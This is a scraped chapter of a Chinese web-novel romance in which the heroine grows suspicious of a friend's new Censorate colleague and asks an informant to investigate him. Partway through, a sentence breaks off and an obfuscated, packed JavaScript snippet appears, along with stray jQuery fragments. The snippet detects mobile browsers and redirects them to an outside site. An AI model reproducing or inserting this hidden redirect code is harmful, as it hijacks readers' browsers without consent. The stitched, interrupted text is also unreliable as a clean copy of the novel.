158. 余见青
作品:《君子渡我》 第158章
陆选早已在院门口等候,今日的他,身着一袭藏青色的长袍,褪去了往日举子的青涩,眉宇间多了几分入仕后的沉稳与谦和,身姿挺拔,眉眼温润,看见雁宁走来,眼底瞬间漾起真切的欢喜,连忙快步迎了上来。
“韩娘子,你可算来了!”陆选的声音里带着几分激动与欣喜,语气真切而热忱。
“陆郎君,恭喜金榜题名,得偿所愿。”雁宁对着他盈盈一礼,唇角扬起温和的笑意,眼底满是真诚的祝贺。
“多谢韩娘子,今日能得你前来,是我最大的荣幸。”陆选连忙扶她起身,笑得眉眼弯弯,随即侧身引着她往院内走,一边走,一边笑着说道:“今日并无外人,皆是我的家人,还有几位寒窗苦读的同窗,都是性情纯良之人,韩娘子不必拘束。”
雁宁微微颔首,目光扫过院内的众人,果然如陆选所言,来的人并不多,不过寥寥数人。
有陆选的父母亲人,皆是淳朴的模样,对着雁宁温和浅笑,还有几位身着青衫的年轻男子,皆是眉目清朗,气质儒雅,想来便是陆选的同窗好友。
众人皆是随和之人,见了雁宁,也只是温和颔首,并无半分轻慢,气氛和睦而融洽。
雁宁跟着陆选入了正厅,厅内摆着一张八仙桌,桌上摆着几碟精致的小菜,一壶温热的米酒,还有几盘点心,算不上奢华,却也足够丰盛,透着几分朴实的诚意。
陆选引着雁宁落座,又忙着替她斟酒布菜,忙前忙后,依旧是往日那般温润谦和的模样,半点入仕后的倨傲都无。
雁宁看着他这般模样,心底愈发安稳,陆选终究是那个陆选,初心未改,本性纯良,哪怕入了仕途,也依旧是那个重情重义的少年郎。
几人闲话几句,无非是祝贺陆选金榜题名,又或是谈及春闱的趣事,还有往后在仕途上的期许,都是些轻松的话题。
就在这时,陆选忽然站起身,目光落在席间一位身着黄色长衫的年轻男子身上,眼底带着几分敬重与亲近,对着雁宁,郑重其事地开口介绍道:“韩娘子,今日我要为你介绍一位挚友,亦是我此次春闱的同窗,余见青余兄,余兄学识渊博,心性沉稳,此番春闱,高中二甲第十名,比我还要出色,现下已入职都察院,往后便是同朝为官的同僚了。”
说着,陆选又对着那余见青笑道:“余兄,这位便是我常与你提起的韩少溪韩娘子,医术高明,心性纯善,是我此生难得的知己好友。”
余见青闻言,缓缓站起身,对着雁宁躬身行礼,姿态谦和,眉眼温润,唇角噙着浅淡的笑意,声音清朗而沉稳:“久闻韩娘子大名,今日得见,果然是气度不凡。陆兄日日在我面前提及娘子,言语间皆是敬佩与感激,今日一见,果然名不虚传。”
雁宁连忙起身回礼,唇角依旧挂着温和的笑意,心底猛地咯噔一下,那股刚刚升起的安稳与欢喜,瞬间被一层冰冷的寒意所取代。
都察院。
她如何能不知道都察院?
都察院是朝中监察百官,弹劾不法的重要衙门,余见青入职都察院,那不就是在徐渭的麾下办事吗?
这个认知,让雁宁的心头瞬间沉了下去,眼底的笑意,也变得几分僵硬,那温和的目光落在余见青的身上,多了几分不易察觉的警惕与审视。
陆选是她的知己好友,心性纯良,刚入仕途,涉世未深,最是容易被人利用,被人算计。
而余见青,身为陆选最要好的同窗,如今又入职都察院,成了徐渭的手下,若是此人品行不端,心怀叵测,那留在陆选的身边,岂不是一颗随时都可能引爆的定时炸弹?
今日陆选这般郑重地将他介绍给自己,足以见得,陆选对这位余兄,是何等的信任与亲近。
若是余见青真的是徐渭的人,那陆选往后的仕途,怕是会步步维艰,甚至可能被徐渭利用,沦为对付旁人的棋子,最终落得个身败名裂的下场!
这绝对不是她想看到的结果。
雁宁的指尖在袖中紧紧攥起,心底的警惕与担忧,一点点蔓延开来。
她抬眸,细细打量着眼前的余见青,只见他眉目清朗,气质儒雅,言行举止间,皆是谦和有礼,眼底没有半分倨傲与算计,也没有半分趋炎附势的油腻,看起来与陆选一般,都是温润纯良的读书人,半点都看不出奸猾的模样。
这般模样,当真像是个品行端正的君子。
难道……是她想多了?
或许,余见青只是恰好入职都察院,并非是徐渭的亲信,或许,他只是一心想做个清正廉洁的小官,并非是想依附徐渭谋取功名。
也许雁宁只是因为太过忌惮徐渭,所以才草木皆兵,将所有与都察院沾边的人,都视作了敌人。
这个念头,在雁宁的心底盘旋,让她的眉头微微蹙起,心底的疑虑,愈发浓重。
她不愿相信,陆选那般纯良的人,会结交品行不端的友人,可她也不敢轻易放下警惕,毕竟在这波谲云诡的神都,在这虎视眈眈的朝堂,人心隔肚皮,知人知面不知心。
一步错,便是步步错,半点都马虎不得。
雁宁敛去眼底的警惕与审视,重新扬起唇角的浅淡笑意,对着余见青微微颔首,语气平和而疏离:“余郎君客气了,少溪不过是一介布衣医女,当不得余郎君这般赞誉,能结识余郎君这般才俊,是少溪的荣幸。”
她的语气依旧温和,却刻意与余见青保持着几分距离,没有半分过分的亲近,也没有半分刻意的攀附。
余见青似乎并未察觉她的疏离,依旧是谦和的模样,笑着与她闲谈几句,无非是问及她的医术,又或是谈及陆选往日的趣事,言语间皆是坦荡,并无半分不妥。
接下来的宴席,气氛依旧和睦,雁宁与陆选叙着旧日情谊,听着他谈及备考的艰辛,陆选依旧是那个值得她托付信任的友人。
她也借着这个机会,叮嘱陆选入仕之后,万事小心,谨言慎行,莫要轻易相信旁人,莫要卷入朝堂的纷争之中,字字句句,都是发自肺腑的提点与关心。
陆选听得认真,连连点头,眼底满是感激:“韩娘子放心,我定然谨记你的话,踏踏实实做事,清清白白做人,绝不辜负你的期许,也绝不辜负自己的初心。”
看着他这般模样,雁宁的心底,总算是安稳了几分。
宴席过半,雁宁见时候不早,便起身告辞,陆选再三挽留,见她心意已决,便也不再强求,亲自送她到院门口,眼底满是不舍与感激:“今日多谢韩娘子前来,能与你一叙,我心中甚是欢喜,往后若是在神都遇到什么难处,或是有什么需要帮忙的地方,只管派人告诉我,我定然竭尽全力,绝不推辞。”
“陆郎君不必客气,你我之间,何须说这些见外的话。”雁宁浅笑颔首,继续说道:“往后你在刑部好好做事,保重身体,便是对我最好的回报,我今日回宫还有要事,便不多做停留,改日再来看你。”
“好,我送韩娘子。”陆选躬身行礼,目送着雁宁的身影消失在巷口,才缓缓转身回府。
雁宁缓步而行,心底的欢喜渐渐散去,取而代之的,是浓浓的警惕与担忧。
余见青的身影,还有都察院那三个字,像是一根刺,深深扎在她的心底,让她无法释怀。
她不能赌,也赌不起。
陆选是她在神都为数不多的友人,是她可以托付信任的知己,她绝不能让陆选因为一个不明底细的人,陷入万劫不复的境地。
无论余见青是不是她想的那般,无论他是不是徐渭的人,她都必须查清楚。
只有查清楚了余见青的底细,查清楚了他的来历与心思,她才能真正放心,才能在必要的时候,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356679|177866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
提醒陆选,护住陆选。
雁宁的脚步,渐渐加快,心底的念头,愈发坚定,她没有直接回宫,而是拐进了一旁的另一条巷陌,朝着明潇的住处而去。
明潇在神都开了一家小小的书斋,既是营生,也是打探消息的据点,她消息灵通,人脉广阔,神都之中的大小事,朝堂之上的风云变幻,几乎没有她不知道的,想查一个人的底细,找明潇,是最好的选择。
书斋的门虚掩着,雁宁推门而入,明潇正在案前整理书卷,见她进来,眼底掠过几分讶异,随即笑着起身:“少溪?你今日怎的出宫了?可是有什么要事?”
雁宁没有废话,径直走到她面前,眼底的神色凝重而认真,声音放得极低:“阿潇,我今日来,是想让你帮我查一个人。”
“哦?何人?”明潇的眉头微微蹙起,见她神色凝重,便也收起了玩笑的心思,认真问道。
“余见青。”雁宁缓缓吐出这三个字,语气沉了几分:“此人是陆选的同窗,此番春闱高中进士,现入职都察院,我要你查清楚他的来历,他的家世,他的品行,还有他在都察院的处境,以及他与徐渭之间,是否有什么牵扯,越详细越好。”
明潇的眼底,瞬间掠过几分了然,还有几分凝重,她自然知道都察院是徐渭的地盘,也知道陆选于雁宁而言,是何等重要的人。
她点了点头,语气笃定:“放心,此事交给我,不出三日,我定然将他的底细查得一清二楚,一字不差地告诉你。”
“多谢你。”雁宁的心头,稍稍安稳了几分,对着明潇躬身行礼,眼底满是感激。
“你我之间,何须言谢。”明潇连忙扶她起身,语气温和:“只是少溪,你为何如此在意此人?莫非他有什么不妥?”
雁宁的眉头微微蹙起,眼底掠过几分担忧与警惕,声音低沉而认真,字字句句,都透着几分无奈与坚定:“他入职都察院,那是徐渭的麾下,陆选与他是至交好友,日日相伴,若是此人并非善茬,若是他真的是徐渭的人,那日后必定会成为陆选身边的祸患,会拖累陆选,甚至可能让陆选陷入万劫不复的境地。我必须查清楚,若是他真的心怀不轨,那便要早早除掉这个隐患,或是让陆选趁早远离他,绝不能让陆选被他算计。”
说到这里,雁宁的声音顿了顿,眼底掠过几分深深的无奈与茫然,语气里掺了几分酸涩:“可我也清楚,余见青与陆选是寒窗苦读的同窗,是情同手足的挚友,他们之间的情谊,深厚而真挚。我不过是个外人,不过是陆选的一个友人,我又有什么资格,去干涉陆选的交友,去让陆选远离自己的挚友?”
她想护着陆选,想让陆选安稳顺遂,可她终究只是个外人,终究没有资格去左右陆选的选择,去干涉陆选的人生。
若是余见青真的有问题,她该如何开口?陆选又是否会相信她的话?会不会觉得她是在挑拨离间,是在无理取闹?
这些问题,像是一团乱麻,紧紧缠绕在她的心底,让她无从下手,也无从抉择。
雁宁轻轻呼出一口气,敛去眼底的无奈与茫然,眼底重新燃起几分坚定的光芒。
也罢。
走一步,看一步吧。
眼下,她能做的,只有让明潇尽快查清楚余见青的底细,若是余见青真的是个品行端正的君子,那便皆大欢喜,她也能彻底放下心来。
若是余见青真的心怀不轨,那她便再想办法,哪怕是拼尽全力,也要护住陆选,绝不让他被人算计,被人利用。
雁宁对着明潇微微颔首,语气坚定:“阿潇,此事便拜托你了,等我出塞之后回神都,我再来寻你,听你的消息。”
“放心,我定然不负所托。”明潇郑重点头,眼底满是笃定。
雁宁不再多做停留,躬身行礼后,便转身离开了书斋,快步朝着王宫的方向而去。

